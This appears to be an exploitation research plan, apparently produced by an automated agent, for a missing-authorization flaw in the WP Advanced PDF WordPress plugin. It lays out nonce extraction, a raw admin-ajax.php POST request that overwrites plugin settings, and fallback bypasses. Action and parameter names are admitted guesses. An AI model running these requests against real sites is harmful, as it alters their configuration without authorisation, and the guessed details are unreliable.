Advanced PDF <= 1.1.7 - Missing Authorization

This research plan outlines the methodology for identifying and exploiting a Missing Authorization vulnerability in the WP Advanced PDF plugin (versions <= 1.1.7).

1. Vulnerability Summary

The WP Advanced PDF plugin for WordPress is vulnerable to unauthorized access due to a missing capability check (e.g., current_user_can()) on a function handling administrative actions. Based on the CVSS vector (AV:N/AC:L/PR:N/UI:N/I:L), this vulnerability allows unauthenticated attackers to perform actions that modify plugin settings or site data (Integrity impact) without gaining access to sensitive information (Confidentiality: None).

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Vulnerable Action: Likely a settings-update or configuration-save handler, such as wppdf_save_settings (inferred).
• Authentication: None (Unauthenticated). The handler is likely registered via the wp_ajax_nopriv_ hook.
• Preconditions: The plugin must be active. If the function enforces a nonce check, the nonce must be obtainable from the frontend.

3. Code Flow (Inferred)

1. Registration: The plugin registers an AJAX action for both logged-in and logged-out users:

   // Inferred pattern in main plugin file or admin/class-admin.php
   add_action( 'wp_ajax_wppdf_save_settings', array( $this, 'wppdf_save_settings' ) );
   add_action( 'wp_ajax_nopriv_wppdf_save_settings', array( $this, 'wppdf_save_settings' ) );
   

2. Dispatch: An unauthenticated user sends a POST request to admin-ajax.php?action=wppdf_save_settings.
3. Vulnerable Function: The wppdf_save_settings function is executed. It likely lacks a check such as:

   if ( ! current_user_can( 'manage_options' ) ) { return; }
   

4. Sink: User-controlled input from $_POST is passed directly to update_option(), allowing the attacker to overwrite plugin configurations.

4. Nonce Acquisition Strategy

If the plugin uses a nonce (e.g., check_ajax_referer( 'wppdf_nonce', 'security' )), it is likely exposed via wp_localize_script.

1. Identify Shortcode: Search for shortcodes that trigger plugin scripts: grep -r "add_shortcode" . (e.g., [wp-advanced-pdf]).
2. Create Trigger Page:

   wp post create --post_type=page --post_status=publish --post_title="PDF Test" --post_content='[wp-advanced-pdf]'
   

3. Extract Nonce:
   • Navigate to the newly created page.
   • Identify the localization object name (e.g., wppdf_ajax_obj or wppdf_vars - inferred).
   • Execute via browser_eval:

     // Inferred variable name based on common plugin patterns
     window.wppdf_ajax_obj?.nonce || window.wppdf_vars?.security
     

5. Exploitation Strategy

Goal: Modify a plugin setting (e.g., the PDF footer text) to confirm the vulnerability.

1. Discovery: Use the http_request tool to probe for the existence of the action:
   • URL: http://[target]/wp-admin/admin-ajax.php
   • Body: action=wppdf_save_settings
2. Payload Construction:
   • Action: wppdf_save_settings (inferred)
   • Parameters: wppdf_settings[footer_text]=Exploited (inferred based on standard settings naming)
3. HTTP Request:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: [target]
   Content-Type: application/x-www-form-urlencoded
   
   action=wppdf_save_settings&security=[NONCE]&wppdf_settings[footer_text]=Vulnerable
   

6. Test Data Setup

1. Install Plugin: Ensure wp-advanced-pdf version 1.1.7 is active.
2. Configure Defaults: Ensure some default settings exist in the database.
3. Create Public Page: As described in Step 4, create a page with the plugin's shortcode to ensure any required front-end nonces are generated.

7. Expected Results

• Successful Exploitation: The server returns a status code 200 OK (often with a body of 1 or a JSON success message).
• Verification: The targeted option in the WordPress database is updated to the attacker-supplied value.

8. Verification Steps

After the http_request, verify the integrity change using wp-cli:

# Check if the settings option was modified
wp option get wppdf_settings

If the output contains the value Vulnerable (or the specific payload used), the vulnerability is confirmed.

9. Alternative Approaches

• Subscriber Escalation: If wp_ajax_nopriv_ is not registered, test if a Subscriber user can execute the wp_ajax_ version of the action (which also lacks the current_user_can check).
• Generic Nonce Check: If the plugin verifies a nonce but uses a generic action string like -1, try using a nonce obtained from a different frontend feature (e.g., the standard wp_rest nonce).
• Missing Nonce: Omit the nonce parameter entirely to check if the check_ajax_referer call is conditional or missing.